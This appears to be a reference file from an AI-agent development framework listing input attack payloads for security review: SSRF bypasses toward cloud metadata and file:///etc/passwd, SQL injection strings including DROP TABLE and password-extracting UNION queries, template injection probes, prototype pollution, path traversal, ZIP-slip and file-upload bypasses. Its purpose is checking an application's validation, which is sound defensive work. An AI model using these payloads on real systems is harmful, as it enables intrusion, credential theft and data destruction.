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paqad-ai

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Spec-driven development framework — AI agents that think before they type

github.com/Eliyce/paqad-ai

Eliyce/paqad-ai

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# Input Attack Patterns verified: 2026-11-02 Concrete bypass examples per category. Use these when checking whether the application's validation would prevent the attack. ## SSRF Bypass Techniques - `127.0.0.1`, `localhost`, `0.0.0.0` - Hex encoding: `0x7f000001` (127.0.0.1) - Octal encoding: `0177.0.0.1` - Short form: `127.1` - IPv6: `[::1]`, `[::ffff:127.0.0.1]` - AWS/GCP/Azure metadata: `169.254.169.254`, `metadata.google.internal`, `169.254.169.254/metadata/v1` - DNS rebinding: register a domain that initially resolves to a public IP (passes allowlist), then re-resolves to `127.0.0.1` after TTL expires - **Redirect chain bypass**: attacker-controlled URL responds with `302 → http://169.254.169.254`, server follows the redirect after validation passes on the original URL - Protocol alternatives: `file:///etc/passwd`, `gopher://127.0.0.1:6379/`, `dict://127.0.0.1:11211/` - URL `@` trick: `http://attacker.com@127.0.0.1`, browser/library may treat `127.0.0.1` as host ## IDOR Patterns - **Sequential integer IDs**: increment resource ID by 1 in the URL path (`/api/users/1` → `/api/users/2`) - **UUID v1 prediction**: UUID v1 embeds timestamp + MAC address, sequential UUIDs from the same host are predictable - **Parameter pollution**: `?id=1&id=2`, some frameworks use the last value, others the first - **Path traversal in resource ID**: `/api/files/../../../etc/passwd` - **Body field swap**: change `user_id` or `account_id` in the POST/PUT body to another user's ID ## Mass Assignment Targets Fields that should never be settable via a public endpoint: - `is_admin`, `admin`, `role`, `roles`, `permissions`, `scope` - `price`, `cost`, `amount`, `balance`, `credits` - `verified`, `email_verified`, `email_verified_at`, `confirmed`, `confirmed_at` - `status` (when it controls account state, not user-settable state) - `created_at`, `updated_at` (can cause audit trail manipulation) - `owner_id`, `user_id`, `account_id` (ownership reassignment) ## SQL Injection Patterns - Classic: `' OR 1=1--`, `'; DROP TABLE users--` - Union-based: `' UNION SELECT null, username, password FROM users--` - Boolean blind: `' AND 1=1--` (true) vs `' AND 1=2--` (false) - Time-based blind: `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `'; SELECT SLEEP(5)--` (MySQL), `'; SELECT pg_sleep(5)--` (PostgreSQL) - **Second-order injection**: input stored in the DB, then later retrieved and used in another query without re-sanitization ## Template Injection Probes - Jinja2 / Twig: `{{7*7}}` → should return 49 if template injection is present - Freemarker: `${7*7}` - Ruby ERB: `<%= 7*7 %>` - EJS / Handlebars: `{{7*7}}` or `<%= 7*7 %>` - Velocity: `#set($x=7*7)${x}` ## Prototype Pollution Payloads (JS/Node) - `{"__proto__":{"isAdmin":true}}` - `{"constructor":{"prototype":{"isAdmin":true}}}` - `{"__proto__":{"NODE_OPTIONS":"--require /proc/self/fd/0"}}` ## File Upload Bypass Techniques - **Double extension**: `shell.php.jpg`, web server may still execute the `.php` portion - **Null byte**: `shell.php%00.jpg`, some parsers truncate at null byte, treating filename as `shell.php` - **MIME mismatch**: `Content-Type: image/png` with PHP/JSP body content - **Polyglot file**: a JPEG that is also a valid PHP script - **ZIP slip**: archive with `../../../etc/cron.d/evil` as a file path inside the ZIP ## ReDoS Patterns Patterns that cause catastrophic backtracking when applied to attacker-controlled input: - `(a+)+` against input like `aaaaaaaaaaaaaaaaaaaaaaaa!` - `(a|a)+`: equivalent repetition - `^(([a-z])+\.)+[A-Z]{2,4}$` against long strings without a valid TLD - Email regex patterns with multiple quantified groups applied to long invalid input